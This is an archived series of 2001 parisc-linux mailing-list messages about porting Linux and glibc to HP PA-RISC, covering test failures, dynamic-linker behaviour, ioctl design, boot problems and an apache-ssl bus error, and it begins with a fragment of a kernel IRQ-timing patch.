 			    kstat.irqs[cpu_logical_map(j)][irq_no]);
 #endif
+
+#ifdef PARISC_IRQ_CR16_COUNTS
+		/* min/avg/max of cr16_hist[] */
+		{
+			unsigned int i = 0, avg = 0, min, max;
+
+		        min = max = action->cr16_hist[0];
+
+			for (i = 0; i < PARISC_CR16_HIST_SIZE; i++) {
+				avg += action->cr16_hist[i];
+				if (action->cr16_hist[i] > max) max = action->cr16_hist[i];
+				if (action->cr16_hist[i] < min) min = action->cr16_hist[i];
+			}
+
+			avg /= PARISC_CR16_HIST_SIZE;
+			p += sprintf(p, "%6d/%6d/%6d ", min,avg,max);
+		}
+#endif
 		p += sprintf(p, " %14s",
 			    region->data.name ? region->data.name : "N/A");
 		p += sprintf(p, "  %s", action->name);
@@ -330,7 +349,22 @@ void do_irq(struct irqaction *action, in
 		printk(KERN_ERR "IRQ:  CPU:%d No handler for IRQ %d !\n", cpu, irq);
 
 	for(; action && action->handler; action = action->next) {
+#ifdef PARISC_IRQ_CR16_COUNTS
+		unsigned long cr_start = mfctl(16);
+#endif
+
 		action->handler(irq, action->dev_id, regs);
+
+#ifdef PARISC_IRQ_CR16_COUNTS
+		{
+			unsigned long cr_end = mfctl(16);
+			unsigned long tmp = cr_end - cr_start;
+			/* check for roll over */
+			cr_start = (cr_end < cr_start) ?  -(tmp) : (tmp);
+		}
+		action->cr16_hist[action->cr16_idx++] = (int) cr_start;
+		action->cr16_idx &= PARISC_CR16_HIST_SIZE - 1;
+#endif
 	}
 
 	irq_exit(cpu, irq);




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc 2.2.3 make check status
Date: Sun, 20 May 2001 04:15:02 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010520041502.K23718@parcelfarce.linux.theplanet.co.uk>
References: <20010505033457.Q32445@parcelfarce.linux.theplanet.co.uk> <20010508205244.P4917@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620127 19437 80.91.229.3 (22 Nov 2014 01:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:27 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 19 21:15:46 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 87885482A
	for <parisc-linux@parisc-linux.org>; Sat, 19 May 2001 21:15:45 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151JgM-0007ef-00; Sun, 20 May 2001 04:15:02 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010508205244.P4917@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Tue, May 08, 2001 at 08:52:44PM +0100
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11076

The list is getting shorter, and I believe we don't have any regressions
versus glibc 2.2.1 at this point.  Don't install the glibc 2.2.3 we have
in CVS, by the way.  It is missing necessary patches which are errata to
glibc 2.2.3.  These patches are not installed in our CVS tree to reduce
the amount of work when generating a new diff for the debian package.

I'd really appreciate some help with either of the problems in the
Misc section.

Floating-point
--------------

 * Some of the math/ tests fail in the same way they did with glibc-2.2.1.
 * stdlib/strtold fails.  This is due to our long double being 64 bit and
   glibc thinks its 128 bit.  Bug #119
 * misc/tst-efgcvt fails.  (Maybe another long double problem?)

Threads
-------

 * linuxthreads/ex15 fails sometimes.  I'm working on it.  (probable
 kernel bug)

Dynamic Loading
---------------

 * dlfcn/default fails.  Not sure whether the test is making an
   unwarranted assumption here or whether we have a bug.
 * The following tests in the elf/ directory fail:
	resolvfail constload1 vismain neededtest neededtest2
	neededtest3 neededtest4 lateglobal
   Not investigated.  Probably most of these are the same bug.

Misc
----

 * posix/globtest fails.  Haven't investigated.
 * gmon/tst-sprofil fails.  Looks like it needs to be ported to Linux/hppa.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] elf/resolvfail
Date: Sun, 20 May 2001 05:22:42 +0100
Lines: 30
Approved: news@gmane.org
Message-ID: <20010520052242.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620127 19439 80.91.229.3 (22 Nov 2014 01:35:27 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:27 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 19 22:23:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9F548482A
	for <parisc-linux@parisc-linux.org>; Sat, 19 May 2001 22:23:24 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151Kjq-0000Wh-00
	for parisc-linux@parisc-linux.org; Sun, 20 May 2001 05:22:42 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11077

Here's what resolvfail does:

static const char obj[] = "testobj1.so";

int main (void) {
  void *d = dlopen (obj, RTLD_LAZY);
  int n;

  if (d == NULL) {
      printf ("cannot load %s: %s\n", obj, dlerror ());
      return 1;
  }
[...]

and it outputs:

cannot load testobj1.so: /home/willy/cvs/glibc-C/elf/testobj1.so: undefined symbol: foo

nm testobj1.so:
                 U foo

but i would have throught that RTLD_LAZY would mean that it didn't have to
resolve foo immediately, only when it was used.  Can someone explain what's
supposed to happen here?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] elf/resolvfail
Date: 19 May 2001 21:40:10 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <m3wv7ciqfp.fsf@otr.mynet>
References: <20010520052242.L23718@parcelfarce.linux.theplanet.co.uk>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620128 19440 80.91.229.3 (22 Nov 2014 01:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:28 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat May 19 22:41:51 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from cygnus.com (runyon.cygnus.com [205.180.230.5])
	by dsl2.external.hp.com (Postfix) with ESMTP id 43A00482A
	for <parisc-linux@parisc-linux.org>; Sat, 19 May 2001 22:41:50 -0600 (MDT)
Original-Received: from otr.mynet (fiendish.cygnus.com [205.180.231.146])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id VAA02395;
	Sat, 19 May 2001 21:41:43 -0700 (PDT)
Original-Received: (from drepper@localhost)
	by otr.mynet (8.11.2/8.11.2) id f4K4eA305845;
	Sat, 19 May 2001 21:40:10 -0700
X-Authentication-Warning: otr.mynet: drepper set sender to drepper@redhat.com using -f
Original-Sender: drepper@cygnus.com
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
X-fingerprint: e6:49:07:36:9a:0d:b7:ba:b5:e9:06:f3:e7:e7:08:4a
In-Reply-To: Matthew Wilcox's message of "Sun, 20 May 2001 05:22:42 +0100"
Original-Lines: 17
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.2 (Thelxepeia)
Xref: news.gmane.org gmane.linux.ports.parisc:11078

Matthew Wilcox <matthew@wil.cx> writes:

> but i would have throught that RTLD_LAZY would mean that it didn't have to
> resolve foo immediately, only when it was used.  Can someone explain what's
> supposed to happen here?

Get a box with a working glibc and run

  LD_DEBUG=all /build/dir/elf/ld.so --library-path /build/dir:/build/dir/dlfcn /build/dir/elf/resolvfail


on both.  The output LD_DEBUG provides should help you.

-- 
---------------.                          ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Red Hat          `--' drepper at redhat.com   `------------------------




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] The ioctl pain may be going away...
Date: Sun, 20 May 2001 20:39:01 +0100
Lines: 71
Approved: news@gmane.org
Message-ID: <20010520203901.U23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620128 19441 80.91.229.3 (22 Nov 2014 01:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:28 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 20 13:39:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 04089482A
	for <parisc-linux@parisc-linux.org>; Sun, 20 May 2001 13:39:37 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151Z2b-0003nx-00
	for parisc-linux@parisc-linux.org; Sun, 20 May 2001 20:39:01 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11079

There's a lovely little thread going on on linux-fsdevel right now about
the future of ioctl.  I think Paul, for one, will be particularly pleased
to see this message.

----- Forwarded message from Linus Torvalds <torvalds@transmeta.com> -----

Envelope-to: willy@ftp.uk.linux.org
Delivery-date: Sun, 20 May 2001 20:34:27 +0100
X-Authentication-Warning: penguin.transmeta.com: torvalds owned process doing -bs
Date: Sun, 20 May 2001 12:34:02 -0700 (PDT)
From: Linus Torvalds <torvalds@transmeta.com>
To: Alexander Viro <viro@math.psu.edu>
cc: Matthew Wilcox <matthew@wil.cx>, David Woodhouse <dwmw2@infradead.org>,
   Richard Gooch <rgooch@ras.ucalgary.ca>, Alan Cox <alan@lxorguk.ukuu.org.uk>,
   Andrew Clausen <clausen@gnu.org>, Ben LaHaise <bcrl@redhat.com>,
   linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org
Subject: Re: [RFD w/info-PATCH] device arguments from lookup, partion code
In-Reply-To: <Pine.GSO.4.21.0105201523370.8940-100000@weyl.math.psu.edu>


On Sun, 20 May 2001, Alexander Viro wrote:
> 
> On Sun, 20 May 2001, Matthew Wilcox wrote:
> 
> > On Sun, May 20, 2001 at 03:11:53PM -0400, Alexander Viro wrote:
> > > Pheeew... Could you spell "about megabyte of stuff in ioctl.c"?
> > 
> > No.
> > 
> > $ ls -l arch/*/kernel/ioctl32*.c
> > -rw-r--r--    1 willy    willy       22479 Jan 24 16:59 arch/mips64/kernel/ioctl32.c
> > -rw-r--r--    1 willy    willy      109475 May 18 16:39 arch/parisc/kernel/ioctl32.c
> > -rw-r--r--    1 willy    willy      117605 Feb  1 20:35 arch/sparc64/kernel/ioctl32.c
> > 
> > only about 100k.
> 
> You are missing all x86-only drivers.

Now, the point is that it _is_ doable, and by doing it in one standard
place (instead of letting each architecture fight it on its own) we'd
expose the problem better, and maybe get rid of some of those
architecture-specific ones.

For example, right now the fact that part of the work _has_ been done by
things like Sparc64 has not actually had any advantages: the sparc64 work
has not allowed people to say "let's try to merge this work", because it
has not been globally relevant, and a sparc64-only file has not been a
single point of contact that could be used to clean up things.

In contrast, a generic file has the possibility of creating new VFS or
device-level interfaces. You can catch block device ioctl's and turn them
into proper block device requests - and send them down the right request
queue. Suddenly a block device driver doesn't just get READ/WRITE
requests, it gets EJECT/SERIALIZE requests too. Without having to add
magic ioctl's that are specific to just one device driver. 

So by having a common point of access, you can actually encourage _fixing_
some of the problems. Historically, sparc64 etc have not been able to do
that - they can only try to convert different ioctl's into another format
and then re-submitting it..

		Linus


----- End forwarded message -----

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tom Hansen <tomh@execpc.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems booting .61 ISO on 715/75
Date: Sun, 20 May 2001 21:35:01 -0500
Lines: 26
Approved: news@gmane.org
Message-ID: <5.1.0.14.0.20010520213045.029610c0@mail.execpc.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416620128 19444 80.91.229.3 (22 Nov 2014 01:35:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:28 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sun May 20 20:35:09 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from c007.snv.cp.net (c007-h012.c007.snv.cp.net [209.228.33.219])
	by dsl2.external.hp.com (Postfix) with SMTP id 2B75D482A
	for <parisc-linux@lists.parisc-linux.org>; Sun, 20 May 2001 20:35:09 -0600 (MDT)
Original-Received: (cpmta 662 invoked from network); 20 May 2001 19:35:07 -0700
Original-Received: from unknown (HELO home.tomhansen.com) (64.193.134.125)
  by smtp.telocity.com (209.228.33.219) with SMTP; 20 May 2001 19:35:07 -0700
X-Sent: 21 May 2001 02:35:07 GMT
X-Sender: tomh@mail.execpc.com
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Xref: news.gmane.org gmane.linux.ports.parisc:11080

I have just downloaded the 0.61 ISO:

    palinux-0.6-32STI.iso.gz

from the HP site, burned a CD, and booted from the CD on my 715/75 Apollo, 
160MB, Toshiba 5701 CD-ROM. I'm using the built-in console, I don't have a 
serial console.

After what appears to be a successful start to the boot sequence (it 
identifies devices OK, etc.) it gets as far as the line:

    Console: colour dummy device 80x25

After this line is displayed, the CD is accessed for about 2 or 3 more 
seconds, after which everything stops.

Any ideas?


--
Tom Hansen
tomh@execpc.com





From - Thu Nov 08 21:17:39 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Bright, Stephen" <Stephen.Bright@thales-esecurity.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Booting from SCSI disk.
Date: Mon, 21 May 2001 11:03:24 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <9EB1F7B63758D411A78D00A0C9D84789B16BF0@UKCRN03>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416620129 19449 80.91.229.3 (22 Nov 2014 01:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:29 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 04:07:43 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ukcrn03.zaxus.com (mail.securepay.co.uk [193.112.44.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id E950E482A
	for <parisc-linux@lists.parisc-linux.org>; Mon, 21 May 2001 04:07:41 -0600 (MDT)
Original-Received: by UKCRN03 with Internet Mail Service (5.5.2653.19)
	id <K4WMBJLY>; Mon, 21 May 2001 11:03:30 +0100
X-Mailer: Internet Mail Service (5.5.2653.19)
Xref: news.gmane.org gmane.linux.ports.parisc:11081

Thanks Matthew, you were right I was using the lifimage.  Switched to the
vmlinux, rerun palo natively, and everything worked.  Now just need to find
out why the ethernet interface is not coming up too.

Thanks to everyone who replied.

-- 
Steve

> -----Original Message-----
> From: Matthew Wilcox [mailto:matthew@wil.cx]
> Sent: 17 May 2001 16:04
> To: Bright, Stephen
> Cc: 'parisc-linux@lists.parisc-linux.org'
> Subject: Re: [parisc-linux] Booting from SCSI disk.
> 
> 
> On Thu, May 17, 2001 at 11:32:35AM +0100, Bright, Stephen wrote:
> > Is it not possible to run fdisk and palo on the HP itself?
> 
> Yes, it is, i've done it.
> 
> > I have tried
> > this, but when it boots I get a message along the lines of 
> "Cannot grok the
> > kernel executable" (sorry, this is quoted from memory, so 
> may not be exactly
> > correct).
> 
> i bet you're using the lifimage instead of the vmlinuz.  
> paul, would it
> be feasible to check for this and print a more helpful error 
> message in
> this instance?
> 
> -- 
> Revolutions do not require corporate support.
> 




From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: amodra@one.net.au
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] elf/resolvfail
Date: Mon, 21 May 2001 22:00:03 +0930
Lines: 13
Approved: news@gmane.org
Message-ID: <20010521220002.K30444@squeak.one.net.au>
References: <20010520052242.L23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620129 19451 80.91.229.3 (22 Nov 2014 01:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:29 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 06:24:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-ob02.one.net.au (mail-ob02.one.net.au [61.12.0.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id 789AE482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 06:24:54 -0600 (MDT)
Original-Received: Received: [from squeak.local (async40-ade-isp-3.nas.one.net.au [203.101.88.41])
	by mail-ob02.one.net.au  with SMTP id f4LCPGg04251
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 22:25:31 +1000 (EST)]
Original-Received: (qmail 31412 invoked by uid 179); 21 May 2001 12:30:05 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.17i
In-Reply-To: <20010520052242.L23718@parcelfarce.linux.theplanet.co.uk>; from matthew@wil.cx on Sun, May 20, 2001 at 05:22:42AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:11082

On Sun, May 20, 2001 at 05:22:42AM +0100, Matthew Wilcox wrote:
> 
> but i would have throught that RTLD_LAZY would mean that it didn't have to
> resolve foo immediately, only when it was used.  Can someone explain what's
> supposed to happen here?

What type is foo?  Lazy linking only works for .plt entries, ie. functions.

Alan





From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] elf/resolvfail
Date: Mon, 21 May 2001 15:29:34 +0100
Lines: 73
Approved: news@gmane.org
Message-ID: <20010521152934.A23718@parcelfarce.linux.theplanet.co.uk>
References: <20010520052242.L23718@parcelfarce.linux.theplanet.co.uk> <20010521220002.K30444@squeak.one.net.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620129 19454 80.91.229.3 (22 Nov 2014 01:35:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:29 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@parisc-linux.org
To: amodra@one.net.au
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 08:30:20 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id EEDB7482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 08:30:19 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151qgg-0007Rb-00; Mon, 21 May 2001 15:29:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010521220002.K30444@squeak.one.net.au>; from amodra@one.net.au on Mon, May 21, 2001 at 10:00:03PM +0930
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11083

On Mon, May 21, 2001 at 10:00:03PM +0930, amodra@one.net.au wrote:
> On Sun, May 20, 2001 at 05:22:42AM +0100, Matthew Wilcox wrote:
> > 
> > but i would have throught that RTLD_LAZY would mean that it didn't have to
> > resolve foo immediately, only when it was used.  Can someone explain what's
> > supposed to happen here?
> 
> What type is foo?  Lazy linking only works for .plt entries, ie. functions.

extern int foo (int);

int
obj1func2 (int a)
{
  return foo (a) + 10;
}

18077:  find library=testobj1.so; searching
18077:   search path=/home/willy/cvs/glibc-C:/home/willy/cvs/glibc-C/math:/home/willy/cvs/glibc-C/elf:/home/willy/cvs/glibc-C/dlfcn:/home/willy/cvs/glibc-C/nss:/home/willy/cvs/glibc-C/nis:/home/willy/cvs/glibc-C/rt:/home/willy/cvs/glibc-C/resolv:/home/willy/cvs/glibc-C/crypt:/home/willy/cvs/glibc-C/linuxthreads
        (LD_LIBRARY_PATH)
18077:    trying file=/home/willy/cvs/glibc-C/testobj1.so
18077:    trying file=/home/willy/cvs/glibc-C/math/testobj1.so
18077:    trying file=/home/willy/cvs/glibc-C/elf/testobj1.so
18077:
18077:  file=testobj1.so;  generating link map
18077:    dynamic: 0x40198cd8  base: 0x40188000   size: 0x00010d90
18077:      entry: 0x401887bc  phdr: 0x40188034  phnum:          4
18077:
18077:  checking for version `GLIBC_2.2' in file /home/willy/cvs/glibc-C/libc.so.6 required by file /home/willy/cvs/glibc-C/elf/testobj1.so
18077:  checking for version `GLIBC_2.0' in file /home/willy/cvs/glibc-C/dlfcn/libdl.so.2 required by file /home/willy/cvs/glibc-C/elf/testobj1.so
[...]

18077:  symbol=dlsym;  lookup in file=/home/willy/cvs/glibc-C/elf/resolvfail
18077:  symbol=dlsym;  lookup in file=/home/willy/cvs/glibc-C/dlfcn/libdl.so.2
18077:  binding file /home/willy/cvs/glibc-C/elf/testobj1.so to /home/willy/cvs/glibc-C/dlfcn/libdl.so.2: normal symbol `dlsym' [GLIBC_2.0]
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
elf/resolvfail
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
dlfcn/libdl.so.2
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
linuxthreads/libpthread.so.0
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
libc.so.6
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
elf/ld.so.1
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
elf/testobj1.so
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
dlfcn/libdl.so.2
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
libc.so.6
18077:  symbol=__deregister_frame_info;  lookup in file=/home/willy/cvs/glibc-C/
elf/ld.so.1
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/elf/resolvfail
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/dlfcn/libdl.so.2
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/linuxthreads/libpthr
ead.so.0
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/libc.so.6
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/elf/ld.so.1
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/elf/testobj1.so
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/dlfcn/libdl.so.2
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/libc.so.6
18077:  symbol=foo;  lookup in file=/home/willy/cvs/glibc-C/elf/ld.so.1
18077:
18077:  calling fini: /home/willy/cvs/glibc-C/dlfcn/libdl.so.2

On x86, it never tries to look up `foo' at all.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:17:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <matthew@wil.cx>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] More unaligned references
Date: Mon, 21 May 2001 22:50:06 +0100
Lines: 62
Approved: news@gmane.org
Message-ID: <20010521225006.I23718@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620130 19457 80.91.229.3 (22 Nov 2014 01:35:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:35:30 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon May 21 15:50:48 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 704C3482A
	for <parisc-linux@parisc-linux.org>; Mon, 21 May 2001 15:50:47 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 151xZ0-0007qT-00
	for parisc-linux@parisc-linux.org; Mon, 21 May 2001 22:50:06 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11084

This is in apache-ssl.

$ gdb ./apache 
This GDB was configured as "hppa2.0-unknown-linux-gnu"...
(gdb) run
Starting program: /home/willy/test/apache-ssl-1.3.19.1+1.42/build-tree/apache_1.3.19/src/./apache 

Program received signal SIGBUS, Bus error.
0x00020224 in Letext ()
(gdb) bt
#0  0x00020224 in Letext ()
#1  0x0001cf40 in create_server_config (p=0x85040, s=0x85068)
    at http_config.c:186
#2  0x0001f444 in init_server_config (p=0x85040) at http_config.c:1625
#3  0x0001f518 in ap_read_config (p=0x85040, ptemp=0x89080, 
    confname=0x7c97c "/etc/apache-ssl/httpd.conf") at http_config.c:1657
#4  0x00029be0 in main (argc=1, argv=0x7ff00258) at http_main.c:5114

(gdb) x/12i $pc-20
0x20210 <Letext+1552>:  addil 4800,dp,%r1
0x20214 <Letext+1556>:  ldw 154(sr0,r1),r21
0x20218 <Letext+1560>:  bv r0(r21)
0x2021c <Letext+1564>:  ldw 158(sr0,r1),r19
0x20220 <Letext+1568>:  addil 4800,dp,%r1
0x20224 <Letext+1572>:  ldw fb(sr0,r1),r21
0x20228 <Letext+1576>:  bv r0(r21)
0x2022c <Letext+1580>:  ldw ff(sr0,r1),r19
0x20230 <Letext+1584>:  addil 4800,dp,%r1
0x20234 <Letext+1588>:  ldw 21c(sr0,r1),r21
0x20238 <Letext+1592>:  bv r0(r21)
0x2023c <Letext+1596>:  ldw 220(sr0,r1),r19

so we seem to be in the middle of a jump table here.

init_server_config looks like this, btw:

static void *create_server_config(pool *p, server_rec *s)
{
    void **conf_vector = (void **) ap_pcalloc(p, sizeof(void *) * (total_modules
